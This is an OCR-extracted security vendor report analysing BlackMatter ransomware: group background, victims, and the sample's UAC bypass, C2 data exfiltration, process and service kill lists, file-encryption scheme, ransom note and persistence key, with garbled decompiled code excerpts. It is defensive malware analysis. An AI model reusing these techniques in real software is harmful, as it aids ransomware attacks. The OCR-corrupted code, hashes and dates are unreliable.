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BlackMatter Ransomware: Descendant of DarkSide?

If the report includes statistics and indices, some data may be rounded,
meaning that the sum of each item may not match the total.

This report is protected by copyright law and as such,
reprinting and reproducing it without permission is prohibited in all cases.

Seek permission from AhnlLab in advance
if you wish to use a part or all of the report.

If you reprint or reproduce the material without the permission of the organization
mentioned above, you may be held accountable for criminal or civil liability.

The version information of this report is as follows:

\Version Date Details

1.0 2021-11-02 BlackMatter Ransomware: Descendant of DarkSide?

A CAUTION

This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report

may change without notice if new evidence is confirmed.
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BlackMatter Ransomware: Descendant of DarkSide?

Overview

On July 21st, 2021, a new ransomware group named BlackMatter appeared on the DarkWeb
exploit forum, which is assumed to be operated in Russia. According to its author, BlackMatter
ransomware was made by combining features of previously well-known ransomware:
DarkSide, BlueCrab, and LockBit. Some surmise that the organization is actually the DarkSide
group that disappeared after the attack on the U.S. Colonial Pipeline.

This post will analyze the characteristics, damage, and attack process of BlackMatter
ransomware.
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BlackMatter ¥ Ransomware: Descendant of
DarkSide?

BlackMatter group first appeared to be active in August 2021, distributing ransomware to 28
organizations till early October.

The group recruited attackers through DarkWeb and distributed ransomware and stoled
sensitive data with targeted attacks on particular companies by taking control of their internal
infrastructure, showing similar aspects to other groups that recently distributed ransomware.
As for companies that do not pay the ransom, the threat group leaks their names and stolen
data on the data leak site run by the group.

Characteristics

The major characteristic of BlackMatter ransomware is that the organization stated they
would not attack critical infrastructures, such as hospitals, nuclear power plants, and
hydroelectric power plants, as well as, oil and gas industry, defense industry, non-profit
organizations, and government sectors. It appears that they are well-aware of the attack on
the US Colonial Pipeline led by the DarkSide ransomware group on May 2021. The group was
known to lose all of their profits and operational infrastructure as both the FBI and the U.S.
government actively intervened in the incident.
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Figure 1. Rules posted by BlackMatter group

BlackMatter stated that if a company that falls under the mentioned category is infected by a
mistake, they will provide the decrypter tool for free.

Damage and Major Cases

As of October 2021, there are a total of 28 companies globally that were attacked by
BlackMatter ransomware. Figure 2 and Figure 3 show attack cases by industry and by country.
The ransomware's data leak site and press release were used as references to create the
statistics.
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BlackMatter Ransomware Attack Cases by Industry
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Figure 2. BlackMatter ransomware attack cases by industry
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Figure 3. BlackMatter attack cases by country

Major Case: Olympus
Olympus, headquartered in Japan, is a global big business specializing in manufacturing
medical precision instruments.
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Figure 4. Press release regarding BlackMatter ransomware incident in Olympus

On September 8th, 2021, all networks of Olympus subsidiaries in Europe, Middle East, and
Africa were ceased due to a massive ransomware attack. Regarding this attack, the company
announced a statement that "an investigation for the cyber security incident is currently in
progress." According to a company insider, a ransom note suspected to belong to the
BlackMatter ransomware group was found.

Attack Analysis
Table 1 shows a sample of BlackMatter ransomware used by AhnLab for the analysis.

MName ywlexvzewedll

Length 66.50 KB (58096 bytes)

Time of Creation July 250, 2021 20:61:18PM (UTE)

MD35 ba375d0625001 102 1 f2ecbafsa2do
SHAZ56 cEe2ef30aB5baabT0590bd2 1 ac5hO1 8221 17e0chaB0R0060be S0 18 2dacedd
AnnLab Alias Ransomware/Win BlackMatterC4575089

Table 1. Information of BlackMatter ransomware sample

Analysis of BlackMatter ransomware's attack method will be explained in the order of the
attack.

1) Checking process privilege and UAC Bypass

When BlackMatter ransomware is executed for the first time, it executes a code that checks
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the privilege of the current process. If the process is a user privilege, the code escalates
privilege via UAC Bypass. If the process is an administrator's privilege, the function for the
action stops.

dilhost.exe string is created when the obfuscated data is unobfuscated. Then
"Elevation:Administratorinew:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"  string s
created along with the entire path of the executable (see Figure 5).

push eax €ax:L eElevation: Administrator!
lea eax,dword ptr ss:febp-24] £AX  OO19FE90
push eax eax:L"Elevation:Administrator! EBX 00204000
lea eax,dword ptr ss:febp-8c) ECX 00000000
push eax eax:L"Elevation: Administrator! ERX 00000000
€all dword ptr ds:[+411508] ole32_cCoGetObject_rn EBP  O0019FF4C
pop edi ed :EntryPoint ESP  OO019FEEC
pop esi 1:EntryPoint ESI  0040ESDS
pop edx EDI  0040ESDS
pop ecx
o pop ebx EIP  004098C8
00409803 mov esp,ebp
0019FD90| . vvvuas. (o R eiea e pe el a e Ni%n N ................. Noss aveivacanees C.i.\.w.7.n.d.o
IRt E N S RIE s RA A P OO D OCE AL, LI o e o 3 W.S.\.S.y.s.T.e.
0019FE90| E1evation: Aamms:ratorvnew (BESFCTFO-9A51-4367-9063-A120244FBEC R A
1 a " " ﬂ ﬁ E E | v2.L.00€. X Q0
DOL9FFI0| +vnus T e e e e S R OO S I

Figure 5. Creating string

When CoGetObject and ObjectStublessClient9 functions are called, dllhost.exe is executed
(see Figure 6) and BlackMatter ransomware file is executed as a child process. Privilege
escalation occurs at this point, and this technique is called "UAC Bypass," which uses
CMSTPLUA COM Interface.

push O
push ©
push 0O
push esi
push dword ptr ds:%ebx] [ebx]:L"C:\\asis\\ba375.exe"

push dword ptr ss:

call dword ptr ds:
test eax,eax

« jne ba375.40997D
mov edx,dword ptr ss:

edx+24] <40ObjectStublessClient9>

Sus... 21,332 K 1,188 K
17,304 K COM Surrogate

E]dllhost.exe 11,412 K COM Surrogate
a:)dlihost.exe 9808 2,128 K 12,168 K COM Surrogate

Figure 6. Privilege escalation via UAC Bypass

2) Code branching by command argument

Next, the command arguments are parsed (parsing: analyzing the component of strings) using
CommandLineToArgvW function. The delivered parameter strings go through comparison
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operations with the hash values hard-coded by the ransomware sample's own hash functions.
The codes are branched depending on the parameters (see Figure 7).

argu = dequoteConmandline(vi);

parse arqu = shell32_CommandlLinelofrguW_ra(argu, &arge);// command argument phishing
1parqu = parse_arqe;

1F ( parse_arge )

if ( argec == 3 ) /¢ In the case of 2 command argument
if ( hashStringWlower(e(uchar t =s«)(parse arqu + &), 8) == @xASL71017 )// ExASHK71d17 SHash String @ “-path”
encryptPath(e(uchar t «=)(lpargu « 8)); // filenanme.exe -path “path name™ execution...
else if ( arge == 2 ) /7 o the case of 1 command argument
{
argu_hash = hashStringWower{»(uwchar_t wx)(parse_arqu * &), 0):
86 ( argu hash == OxAS2FA997 ) /1 BxhS2FR997 WHash String : “-safe”

/¢ Filename.exe -safe
installbesktepBackgroundindBoot IntoSafenode();//  System reboot and/or sale mode

b
else iF ¢ argu hash == 0xAS678817 ) // BxhS678D17 EMash String @ “-wall”
/7 Filename .exe -wall

KillTargetProcesshanduaitfordesktoplobeconevisivle();

1 P H - < - 3
) OulioMndinEtaxIMaLIPIper(Y) " File creation and/or alteration in Background
else
encryptdirifNotinkOrOnNetwork _fthink(e(uchar t s«)(lparqe ¢ 4));// Filename.oxe “path name”
}
)
clse
runDefaultRansonODperation(): /7 No command argument -> DefaultRansom
H

}

Figure 7. Code branching by command argument values

BlackMatter ransomware executes different codes depending on the command argument. For
detailed explanation, see Table 2.

Command Argument Functions

-path “path name® Ransom activity regarding targeted directory path
-safe System reboot in safe mode

-wall File creation and alteration in background

“path name” Ransom activity regarding targeted network directory path
Mo command argument Default ransom activity

Table 2. Code branching by command arguments

3) Preventing concurrent execution of processes

The BlackMatter custom hash operation is processed using the system GUID value. Then a
mutex (mutual exclusion) of a random name that is effective only for the current system is
created with XOR operation (hard-coded value). The mutex prevents the concurrent execution
of processes.
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pchar_t =__stdcall generatebxclusivityitextane()
K

‘77,_, wchar_t wol; /7 vix
DNORD *u13 /7 pax
] int v2; /7 vex
TOBNDELRT call gnnatehcuslolt,&tn!bnl wchar_t vA[37]; // (espeah] [ebp-E6h) DYREF
1OONDEOSL nov [edpsvar €], eax 0I5 [~ Teush dword ptr ss:febp-< [espesan] (rb:- 9Ch] NYREF
text 1 00NDELST push [ebpevar C] : o « |push O (. peRAN] [ebp-6Lh] RVREF
text: RONDE 692
Litimuon ek 100000 | snord per ooy puamogy P01 (020 )
c.ll u"Ml”-a’M!“'-n (‘""‘ <] 1 L:XO.‘A] oc ’ 66378 '1“C4f"“.¢‘“53
AexL:O0NDE 09 "oV [ebpevar 10], eax {ebp-Cj:L"Globa) (.ac I£85D0 d9edr 755 ed 4840"
SAext 100NN 602 cnp {ebpevar_10), 0
LAext 100NNEOAL iz short loc_AeE6ns 41130C) Operstutexw
J 1€ ( getMachineCuID((char =)uh) )
A 4 4 <
N V1t = hashStringWower (v, 0);
push [edprvar_10) SOONRL O NLall_menset_rafvh, 0, 108);
call  ntdll_2uClose_rn| [ text 100400004 loc_NOEOR6: LI MONTRLL ra(et);
pop “bx text :NOASL 606 push [ebpevar C) Ntall_MOAUpdate ra(ub, &ui1, )3
oy esp, ebp JLext :0ONRELRY push 1 Ntdll_MOAFinal_ra(us ).
pop ebp Ltext : DEASCANY push 0 vi = 5
retn ~text : DOARE 68D call kerneld2_CreateMutexV_ri Vi[8) = ST7I96650; "
JText 1 0ONSI 6L nov [ebpevar_108], eax ”"(‘l = 577083394  mutex name creation code
.text 1 0BARESCH push  [ebpevar_C] vS[2) = 5773966205
LLext 1 DOARELCY call in_NeapFree_sub_N06822 VS[3] = S727836081;
~ vi[a) = S78513891;
Fr us[S]) = sr2raasza; GUID +
— ""l;l . :;;;33;- Custom hash operation +
r T - o - : >
€8N cword ptr o::[4113£0) [crestevutex EAX  O0od ‘i - S2481 ! Hard coding value XOR
duord pEr £z:ilebp 107 EERREET I8X 00507 us[8) = SIM513891;
push oword pIr 55 . [eop-CliL Glc X CIO“HR VE[9) = S721M3573;
M = 3 00000000 VEL10) = 57A513091;
byte 0019FF 60 ULE11) - STeRn3e2e;
3 0019FF 3C w2 - 123
0040E805 P44
{
wutes " @x22065FE0U;
-—u73
)
while ( w2 )3

Figure 8. Preventing concurrent execution of processes

The following is the created mutex string.
» Global#0c111f6a663f88b095d9e4f755e54840)

4) Collecting system information and creating JSON data

After collecting the host information and disk information of the current system, BlackMatter
ransomware creates the data structure in JSON format (see Figure 9).
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003FF3B0
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Figure 9. Collecting system host and disk information, and creating JSON data

BotID is created in a method similar to the algorithm creating a mutex string, which is added
to the data structure in JSON format that was created earlier.

! char o stdacall generateboti()

3 DVURD =yl 2/ cax

& et w1 // ecx

. whar €t vI[37)s /27 [espean) [ebp-Cin
6| _DVORD vA[5); /7 [esprath] [edp-8Ah)
7| char oS[88)5 // [espréth] [ebp-Tin]
R wnsigned Int vé3 /27 [espeBih] [ebp-1
9| wnsigned int w73 /7 [esprBCh) [ebp-1
10| unsigned int uB: /7 [espeCon] [ebp-1
" unsigoed Int v93 /7 [esprChb] [ebp-C

12| Int w103 27 [esprCBn] [ebp-8h] BYREF

Lext I EBhURF30
LLext I RBLAOAF 3N

cnp
jnz

h 4
Ltext I OONOAF28
.text : OBAOAF28 hear2s:
L text 1 00Y0RF 28 call generateBot1D

L .
[ebprvar_8), 0
short loc_AOAF3B

13| char *ui1; 7/ [esprCEn] [ebp-An)

e vil = ®;
o 16 AF ( getMachineSUID((char =)ud) )
7| ¢

"w w10 = pashStringWever(vi, 0);
1 ntall_memset_rn(us, 9, 104);

a7y

1

cmp é«ord ptr 5
jne ba3?s.40AF38

ECX 005FA410

EAX  OOSFA3FO |

“6a17110Ccb0883r66T 7409954048555

<
o
o 20| atall_MOMINAT_ra(vi): ECX  00SFA410
e 21 ntdll MOMUpdate_rn(us, Bulo, &); EOX  0232FE00
® 22 ntall_MOAFinal_rn(vs); LEBP _O232FF70
° 2 CERTH
e 2n wh[e] = 151401800
® 25 ui[1] = 1510081800; BotlD creation code
® 26 wi(2) = 151008 1800;
e 27 VA[3] = 15100M1800;
: g: whin) : ST08M3080; GUID +
vi=S; »
39 80 Custom hash ation =
n ( Hard coding value XOR
® 32 wo0ee Te BZ200%FEDU;
® 3 il
I )
e while ( w1 )3
° 3 V11 = (char *)Neaphlloc_sub_MOSFOR(33);
e 3 ifF (v1n)
38 <
® 3 vh o= bgtesvap vlong(ui);
oW wio= _byteswap vleng(v/):
oM i o= _byteswvap_ulong(ui);
o N2 v o= _bytesvap ulong(v9);
o a3 atdll_sprietf_ra(uil, vh, b, v/):
Al )
sl )
® 5 return vi1;

‘hostuser™"User’,

“hostarch™ k64",
“hostlang ™ ko-KA"|
“disks info™[

{

“Gisk.name”C",
“Gisk.size T S2ITET,
;vco.slzo':'m

{

“gisk.name” D",
“Gisk.size ™ 924287,
;lrn.alzo':wm
{
“disk.name”E”,
“gisk.size™"998AE",
;h«.slzc':‘SSl 1)

hotl.howmno ’DGSKTOO-CTFSSG?

“host.os Windows 10 Pro”,
“host.domain WORKGROUP™,

BotiD value

Add JSON Data

Figure 10. Adding JSON data value (BotID)
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5) Encrypting collected information (JSON Data) by AES and
sending itto C2

The information collected in the JSON data format is encrypted by AES (Advanced Encryption
Standard). The AES Key hard-coded inside the sample file is used for the process. The
encrypted data or collected information is sent to the attacker server (C2) via
HttpOpenRequestW and HttpSendRequestW functions after it is encoded with Baseb4.

ul? = wininet_InternetComaect_rn(vid, vik, vil, @
bV [ dwora M1OICE ) i § vaz y
1 Break;
[55 = Troryp TR Ry le TR, T8, prosiloy, foeresin e v W) B BF ¥
™ T -
q{ ASE mm"li'llﬂﬂ & b= BEdlD_weslen_eafeh) = A}
it = fint sjHeapalioc_sub AEFIR{N & oL h3 ]
iF o wrs ) u3l = wininet WttpOpenRequestyl rn{e=17, w28, Randonduery
4 = iF [ w31 )
00_BALREALe, [Foutlsdy, v, 9100} Baseb4 encoding wroak;
r = TTeR e unk_B10FP3, {char =)udf); wininet_InternetClosetandle_raful)?);
i¥ 1% prm—
¢ 1 o T A PR
RendanfjuergFarans = genperat eRandenlueryParand () ; * a
WF o R Parans } ._.,;‘z
wrh = B A
erbgent = generatelcerigent{): :.- : E_'."El".‘.'- cz Wmmunlcallﬂn
:l { Userfigent ) iF { -I.til;t_ull.ph!ry]h{bil_rlli. 1, 19, uiR) )
I - . t
I.flq dd::;wmmum«.ll-n.-.-:.:—-.rd_-.man:. LE { wIB[0) == 58 Bk VIH{1) == 8§ &K vI[E} == &8 )
t
[
- - == = 20 = By
[ “ {" _“"':“" Interaetepeny_raficcrigont, 8, 8, 0, 8); | i { uininet_faternslfuerybatadesllable_rafedl, B,
. i
W3 = {_BYTE =}eaplllec_tub_WSFRR{«20 « 1)}
1F § JwET
11 wininet_jabernetBesl f1e_rafoin, ovor, w2, &

Figure 11. Sending encrypted data (collected information) to C2

6) Terminating processes that disrupt ransomware

BlackMatter  ransomware  finds  SYSTEM_PROCESS_INFORMATION  struct  using
"ZwQuerySysteminformation" function and parses internal members. It then compares each
process with the processes that are targeted to be terminated in Table 3 and terminates
processes using NtOpenProcess and ZwTerminateProcess functions.
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ol o= 100A;
for (| = Heapallec_sud MOSFORCIAZN); ; | = NeapAlloc_sub ABSFCECI, v/) )
< (

+ | PUSH edx
+ | push est esizL encaye”

Ul = tdll_2u@eergSystenlaformation_ra(5, i, v/, 8/);
1F ( tve )

beeak; . | XOr ebx,eox x . - . "
16 ( v e ~1023781820 ) : n::hc;’o'o;o;gr 2 c “Il, ezl encyve”, «»::L.fcra.ﬂ.. encave
return Neapfree seb WOSTB3(1); . ﬂnt ‘Gwerd ptr gsi{4112F0)
.| add e30,4

:o > T
R el
¢ 0 0ie.3.k.2,0.0.9.

U3 = o DVOND *)ul; ’
“ (o 0Wnm s)(er » 00) qlwrocnsnrgumwl!ndutlnlnlun 00GOETFE

00805 808
COROFE1G
US[0] = e(_DWED =)(v7 + 68); 0060F§28
ol - e oo 8RE  Coy
uA - : o <&
merset (800[1], 0, 20); m:z: C-Snyle BYTE (Hex) NCEVE THEDAt mydesktopaos X55veC

i€ ( totdll_MtopeaProcess_ralbul, 1, va, v5%) )/ Process handle |0060F578 C-Style WORD (Hex) 24 oconm onerote mspud thunderdird
{ CoLor C-Style DWORD (Hex) | 150 1sqlplussve sqbcoreservice orac
C-Style OWORD (Hex) | | mydesktopservice vis1o

C-Style String

ntdll_ZuferninsteProcess_radvi, 8); '  Process end 0060F898
ntdll_2wClose_ra(vi);

on
y } @I} Oword ptr 0s:(411304) EIX— TOT5000
_ z 0407 482 test eax,eax <
) u2 o= y3; 0407484 | 4 )M 30375 407494 Process End Z1B3t (stdcall)
WHOT 486
while ( v3 ); 40748 sh Mrd pte ss:febp-4§ 1% [esp] 0000003
e . L AN |G guord ptr as: [y Terminaterrocess (2 DN
) ¥3407 493 ush dword ptr 55: 4 3: [espe8] 001904
gward pee 0s: u;ua, 31 lesprct 00000000
Y ¥

Figure 12. Terminating processes that disrupt ransomware

encsvc, thebat, mydesktopgos, xfssvccon, firefox, infopath, winword, steam, synctime, notepad,
ocomm, onenote, mspub, thunderbird, agntsve, sgl, excel, powerpnt, outlook, wordpad, dbeng
50, isglplussve, sgbcoreservice, oracle, ocautoupds, dbsnmp, msaccess, thirdconfig, ocssd, myd
esktopservice

Table 3. List of processes that are terminated

7)Removing services that disrupt ransomware

After finding all services installed in the system wusing OpenSCManager

and

EnumServicesStatusExW functions, the sample searches for services (services that include
strings shown in Table 4) that disrupt ransomware. It then removes confirmed services using

DeleteService function.
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95 = 0;
psult = (SC_HANDLE)advapi32_openSCHanagery_ra{0, 0, 4);
)7 = resull;
1 { result
¢
vh = 05
Avapid2_EnunServicesStatusExy rafv/,
Fesult o= (SE_HARSLE Y HeapRllec_sub_ARSFOR(uA)

s = pesult;
iF ( resulr )
¢
PESUIE = (SC_NANDLE). piaz_r i sEx¥_rn(o7, 0, A8, 3,
i1F ( result ) 2 z .
¢ Service List Listing
ul = (wehar t sx)us;
do
¢

erull = (S0 MANOLE MisProcessTargetedt orTernination2(=u1);
1F ¢ result )

¢

Fesult = (SC NAMLE ) adwapid2 OpenServiced ra(u/, sui, 65508);
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1F ( result )

@] 00407303
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12 1F ¢ twut )
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mi oy Search Service for Deletion
1 return 1
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|
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aduapis2_beleteService_rn(ut);
result o« (SC_HANDLE )adwapid2_CloseServiceHandle rn{u6);
)
¥
Ul w113

¥
while ( vl )3

= | UNICODE
0050C3C 5 | MePOCS, memTas, veean, sves. backup, sql.vss, .
IOOSOCAABY < ov's's anvsivsusanassnea PP APy d vwa i v ald
0050C4C8 | ovvenns Naocnssin R A P T L T or0

Figure 13. Searching for services that need to be removed

mepocs, memtas, veeam, svch, backup, sgl, vss

Table 4. Strings that need to be removed

8) Searching directory,
encrypting files

creating

ransom note, and

After removing services that disrupt ransomware, the sample executes the directory search
loop range using FindFirstFileExXW and FindNextFileExW functions. Directories in Table 5 are
exempt from access. Ransom notes are created in every searched directory, then the files are
encrypted, but some files from Table 6 and files that have extensions from Table 7 are not

encrypted.
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W17 = uF - ulig

Fapr { i o= =13 3 ==i } iF { fRerneld?_WelteFile_rndFileld_ro, Rui?, 1, uwib, 0} )
R hreak;
dropRansersote (U7 D, Bduord NIOFFE) ub = el - 1
Pt = addWildcardTobirPathiu?}s File Search 1F ¢ tus )
HeapFrer_sub_ROSFEI(uZ0) hﬂ‘ihli .
FlrstFils = keenel3?_FindFirstFileEnM_en(uzd, 0, vin, @, 0, weapg [ M0 = =58
16 { Firsteile t= -1 ) us = own 4+ 4
i Wil = BYTERfva) * wi;
w{ UOND s}mtdll_uesrche_rafuii, 48] = 0: iF € therneld2_WeiteFile_endriled o, B17, 1, wing @) )
a0 - = break;
F ud o= wh = 1
46 { of DUORD =Juil t= Wb BB s{ DUOAE =}ui? f= JOIOTEE BB (Uil ifht ':" H
q riak; )
. - ull = HIWRROGuI) ]
AF  Qwispo) & bwtey 1= @) Wil = sy g
iF o tispdrectoryiieelisted_LEhEnkd (ectar L shoti) § w2 =l '*“
‘ o Wil = ui@ LR b IH
wil = wEbr_combimeluzi, (wehar © =he17)g 1F ( therned 32 _WedteFile_rn(filel o, Bui?, 1, wii, @) )
. = nroak;
LR
X w{_DMORD «)Quit + B ® 1) = udg ::'t'!:';"'}‘i
} hreak;
elso iF { tisFilomameMhitelisted{{uchar © s}ui?) w1h = mlzg

v = il + 13

w1d = BYTEA{wI0) * wing

iF o tkerneld2 _WriteFile ro(bilel rog B0, 1, wid, 03 )
bresk;

ul = @il = 13

Figure 14. Searching directories and encrypting files

system volume information, intel, $windows.~ws, application data, $recycle.bin, mozilla, program fil
es (x86), program files, bwindows.~bt, public, msocache, windows, default, all users, tor browser, pro
gramdata, boot, config.msi, google, perflogs, appdata, windows.old

Table 5. Names of folders exempt from access

desktop.ini, autorun.inf, ntldr, bootsect.bak, thumbs.db, bootini, ntuser.dat, iconcache.db, bootfont.
bin, ntuser.ini, ntuser.dat.log

Table 6. List of files exempt from encryption

themepack, nls, diagpkg, msi. Ink, exe, cab, scr, bat, drv, rtp, msp, prf, msc, ico, key. ocx, diagcab, dia
gcfg, pdb, wpx hlp, icns, rom, dll, msstyles, med, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, co
m, deskthemepack, shs, Idf, theme, mpa, nomedia, spl, cpl, adw, icl, msu

Table 7. List of extensions exempt from encryption

The files are encrypted by Salsa20 using the key created by the code that generates arandom
value (see Figure 15). The key used in the encryption is additionally encrypted by RSA.
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1Hnt __stdeall hardware_gen_randon{)
2
3| int result; /F eax
[ unsigned intéh uild; F£Ff rax
5 int wik; ff wecx
&
1lwnid __stdcall generateRandomiey(int =al) e 7 ERE = 13
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3| odnt wi; S cox @ % AF { ( FCH & OxBADRANRa) t- @ )
| int w2; jf eds 1@ ¢
S int wd; f/S edx @ 11 __ASh
& int wh; /f edx 12 i
T odnt wh; £ vax 13 rdrand oax
#| int vh: f4 eds Create Random Key Value 1k rdrand  edx
¥ int wi; f/f edx 15 ¥
10 16| 3
O e w| ense Create Random Key Value
e 12 1] = wiz 18
o3| | a1[2] = hardware_gen_random(); 19 EAX = T
@ n | | a1[3] = w2 e 20 _asm { cpuid }
S5 [ | a1[%] = hardware_gen_random() ; e 21 iF (  FRY B Bx4OO0R) f= 0 )
® 16 | | a1[5] = w3z 22 {
o 47| | at[6] = hardware_gen_random() ; ® 23 —A5R
e 18 al[7] = vh; 2h {
@ 19| | a1[8] = 03 25 rdseed eax
@ o |arfe] = 0; 26 rdseed  edy
@ 21| | a1[18] = hardware_gen_randond); 27 ]
@22 | | a1[11] = us: 0 }
@ 23| | a1[12] = hardware_gen_randond}; 29 else
@ 2n| | al[13] = va; ae {
L A1[1h] = hardware_gen_randon{); @ a1 wid = _ rdtse();
@26 || a1[15] = ui; e 32 wih = _ ROR4__(uvid, 13);
® 27T |¥ ® 33 _ rdtse(d;
® 3k return uih;
as 3
ab| ¥
@ a7 | return resulty
@ 38 )

Figure 15. Creating random key value > Salsa20 encryption key

Figure 16 and 17 show the samples of encrypted files and image of the ransom note file
respectively.

CRUsers#UsergDecktoprsample v | O

Chrysanthe  Desert jpg Nydungoas Jellyfishjpg  Koalajpg ughthouse; Pengums Jo Tullps Jpa
mum jog

I CWUsersWUserwDesktopwsample| After File Encryption « ] o

Chrysanthe  Desertjpg. E3hQiYIQI.  Hydrangea lellyfishjpg Koalajpg€ Lighthouse. Penguinsjp Tulipsjogt
mumjpgE E4hQIYIQI READMEtX sjpg.E4hQi E4hQIYIQI  2hQYIQI  jpa.E2hQiYl gE3hQYIQ  4hQiYIQI
4hQIVIQH t YiQi Q i

Figure 16. Encrypted file samples
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§ EhOfOH BEADME bif - Windows 2% - = *
SRR BEE MYC) 2790 =& T
e
= +
BLACK I
0 =-=""= -o-

+ r'-Tatter +
o * '
=»= What happens?

Yeur netwark is encrypted, and currently nat operational.

We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.

»=> What guarantees?

We are not a politically motivated group and we do not need anything other than your money.

If you pay, we will provide you the programs for decryption and we will delete your data.

If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals.

We always keep our promises.

»»> How to contact with us?
1. Download and install TOR Browser (https://www.torproject.org/).
2. Open
http://supp24yyGabthwszu2piygicgwzdtbwitb76htfjTvnip3getggnzxid. onien/GDBISTEDHIDAIKQD2QOTR.

=»» Warning! Recovery recommendations.
We strongly recommend you to do not MODIFY or REPAIR your files, that will damage them.

Figure 17. Ransom note

9) Changing desktop and registering auto-run registry

The ransomware sample creates a desktop file after encrypting all available files (see Figure
18). It also creates a key value of the auto-run registry with the name *RYL415ver in the
registry path of "SOFTWAREWMicrosoftwWindowswCurrentVersion¥RunOnce."
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BlackMatter Ransomware encrypted all your files!
To get your data back and keep your privacy safe,

you must find E4hQiYIQi. README.txt file
and follow the instructions!

Figure 18. Changing desktop image to a ransom note

if { faduapil22 ReqCreateReyE=W rn{-2157483646, o7, @8, 0, 8, 121078, @, &ue, @) )
{
candon_Form Ering_typ = generabe_randon_formal_steing type2();
iF { randor ring type? }
4 AL_MACHINEWSOFTWARESRWOWEL I 2Nodeh B rasalt®iind s C umentherticmERund ns
= sub_401647(); — - —
w? = StrdupbvithPadding{u1, 4); F':'E":'S'.:ﬂ'l'm “ o =8 oy
ul o= wP; PushiMotifizations P e REG 5T (3 HE 8 B
iF { w7 ) Reliablity [ masise recsz CesiabdTS e il
{ Reerveddanager
ud = BuZ[ntdll_wcslen_rafu?)]; Farn
»{ DWORD =)ul = STIZ6T9T; i i
w{{ DUORD =)ud + 1) = STTZDAOZE; Secunity and Mainténance Autnrun REgIStr'v REgISter
={{_DUDRD =}ui + 2} = SFF396609;
s DHORD =)ud “= (x22065FEDU;
w{{_DUORD =)us + 1) "= Ox22O65FEDU;
s{(_DUORD #)ul + 2} "= B2P@65FEDU:
% = ntdll_weslen_rn{uid;
iF ( tadvapil? RegietWalueExd rmnfud , Fandos_Fornat_steing L UBE, 2 & ul o+ 2) )
ve= s [F[O0TIETE || | T8 &ax, dwerd pEF d=7] =TT
H . . | push ea
1 ® pus EbxzL"Cryhasisy \ba3Ts . exe —wall”
y L pus
. . | push
¥ s . | push dwaord pgr t[febp-10j [ebp-10] :L"*RYLE15ver "
N . | puith dword per fo:flabp
- | CaW dword pur ds:[411444] Regietvaluelxw
.| test eaw,ean

Figure 19. Registering auto-run registry

AhnLab V3 detects and blocks BlackMatter ransomware using the following alias and engine
version information:
» Ransomware/Win.BlackMatter C4575089(2021.08.04.03)
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Conclusion

As BlackMatter ransomware appeared out of the blue after the attacks of the DarkSide
ransomware group's operation had stopped, some suspect that the same attacker is behind
the two groups. But the technical analysis of the attack method shows that while some
features are indeed similar, it cannot be said for certain that the source code of BlackMatter
ransomware is similar to that of DarkSide. The result of binary analysis also suggests that the
attacker of BlackMatter is not the same as that of DarkSide.

BlackMatter Ransomware has allegedly announced that it is shutting down its operation due
to pressures from the authorities as of early November. The ransomware group has also
announced plans to shut down its ransomware-as-a-service(RaaS) portal, which provides
BlackMatter ransomware strain to other threat groups. However, like that of many other
ransomware groups, it is uncertain if this will be a permanent exit or simply another rebrand.
Let us hope it's the former.
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